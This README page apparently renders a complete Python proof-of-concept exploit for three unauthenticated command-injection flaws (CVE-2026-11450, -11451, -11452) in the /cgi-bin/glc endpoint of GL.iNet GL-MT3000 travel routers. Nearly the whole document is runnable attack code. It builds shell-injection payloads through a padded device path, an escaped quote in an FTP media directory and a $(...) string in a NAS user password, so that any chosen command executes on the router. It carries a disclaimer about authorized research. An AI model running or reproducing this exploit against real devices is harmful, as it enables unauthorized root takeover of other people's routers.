README.md
Rendering markdown...
#!/usr/bin/env python3
"""
GL.iNet GL-MT3000 (Beryl AX) Triple RCE PoC
CVE-2026-11450 / CVE-2026-11451 / CVE-2026-11452
Exploits three unauthenticated command injection vulnerabilities
in the /cgi-bin/glc endpoint of GL.iNet GL-MT3000 firmware <= 4.4.5.
Full article: https://www.hunt-benito.com/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router/
DISCLAIMER: For educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit permission to test.
"""
import json
import ssl
import sys
import time
import urllib.request
import argparse
def create_ssl_ctx():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def glc_call(target, method, args, ctx):
body = {"object": "nas-web", "method": method, "args": args}
url = target.rstrip("/") + "/cgi-bin/glc"
req = urllib.request.Request(
url,
data=json.dumps(body).encode(),
headers={"Content-Type": "application/json"},
method="POST",
)
try:
resp = urllib.request.urlopen(req, timeout=10, context=ctx)
return resp.status, resp.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace")
def exploit_cve_2026_11450(target, ctx, cmd, outfile):
prefix = "/" * 54 + "null"
payload = f"$({cmd}>{outfile})"
dev_name = prefix + payload
status, body = glc_call(target, "eject_disk_do1", {"dev_name": dev_name}, ctx)
print(f"[*] CVE-2026-11450 (Buffer Mismatch)")
print(f" dev_name length: {len(dev_name)}")
print(f" access() sees: /dev/{dev_name[:58]}")
print(f" system() sees: ...{payload}")
print(f" Response: {status} {body[:200]}")
print(f" Verify: cat {outfile}")
return status
def exploit_cve_2026_11451(target, ctx, cmd, outfile):
media_dir = f"/x';{cmd}>{outfile} 2>&1;#"
body_args = {
"protos": [{"name": "ftp", "enable": 1, "media_dir": media_dir}]
}
status, body = glc_call(target, "set_proto_config", body_args, ctx)
print(f"[*] CVE-2026-11451 (Quote Escape)")
print(f" media_dir: {media_dir}")
print(f" Response: {status} {body[:200]}")
print(f" Verify: cat {outfile}")
return status
def exploit_cve_2026_11452(target, ctx, cmd, outfile):
import shlex
print(f"[*] Ensuring NAS service is running...")
glc_call(target, "set_nas_ser", {"enable": 1}, ctx)
glc_call(target, "start", {}, ctx)
time.sleep(2)
_, users_raw = glc_call(target, "get_user_list", {}, ctx)
parts = users_raw.split(" ", 2)
users_data = json.loads(parts[2] or "{}") if len(parts) >= 3 else {}
users = users_data.get("list", [])
if not users:
print(" [-] No NAS user found. Create one via the admin panel first.")
return None
nas_user = users[-1]["name"]
print(f" Using NAS user: {nas_user}")
command = f"sh -c {shlex.quote(cmd)}>{shlex.quote(outfile)} 2>&1"
nonce = str(time.time_ns())[-8:]
password = f"Aa1!$({command}){nonce}"
status, body = glc_call(target, "set_user_pwd", {"name": nas_user, "password": password}, ctx)
print(f"[*] CVE-2026-11452 (Password Injection)")
print(f" user: {nas_user}")
print(f" password: {password}")
print(f" Response: {status} {body[:200]}")
print(f" Verify: cat {outfile}")
return status
def main():
parser = argparse.ArgumentParser(description="GL.iNet GL-MT3000 Triple RCE PoC")
parser.add_argument("target", help="Router URL (e.g. http://192.168.8.1)")
parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)")
parser.add_argument("-o", "--outfile", default="/tmp/poc_output", help="Remote output file")
parser.add_argument(
"-v", "--cve",
choices=["11450", "11451", "11452", "all"],
default="all",
help="Which CVE to exploit (default: all)",
)
args = parser.parse_args()
ctx = create_ssl_ctx()
print(f"Target: {args.target}")
print(f"Command: {args.cmd}")
print(f"Output file: {args.outfile}")
print()
if args.cve in ("11450", "all"):
try:
exploit_cve_2026_11450(args.target, ctx, args.cmd, args.outfile + "_11450")
except Exception as e:
print(f" [-] Error: {e}")
print()
if args.cve in ("11451", "all"):
try:
exploit_cve_2026_11451(args.target, ctx, args.cmd, args.outfile + "_11451")
except Exception as e:
print(f" [-] Error: {e}")
print()
if args.cve in ("11452", "all"):
try:
exploit_cve_2026_11452(args.target, ctx, args.cmd, args.outfile + "_11452")
except Exception as e:
print(f" [-] Error: {e}")
print()
if __name__ == "__main__":
main()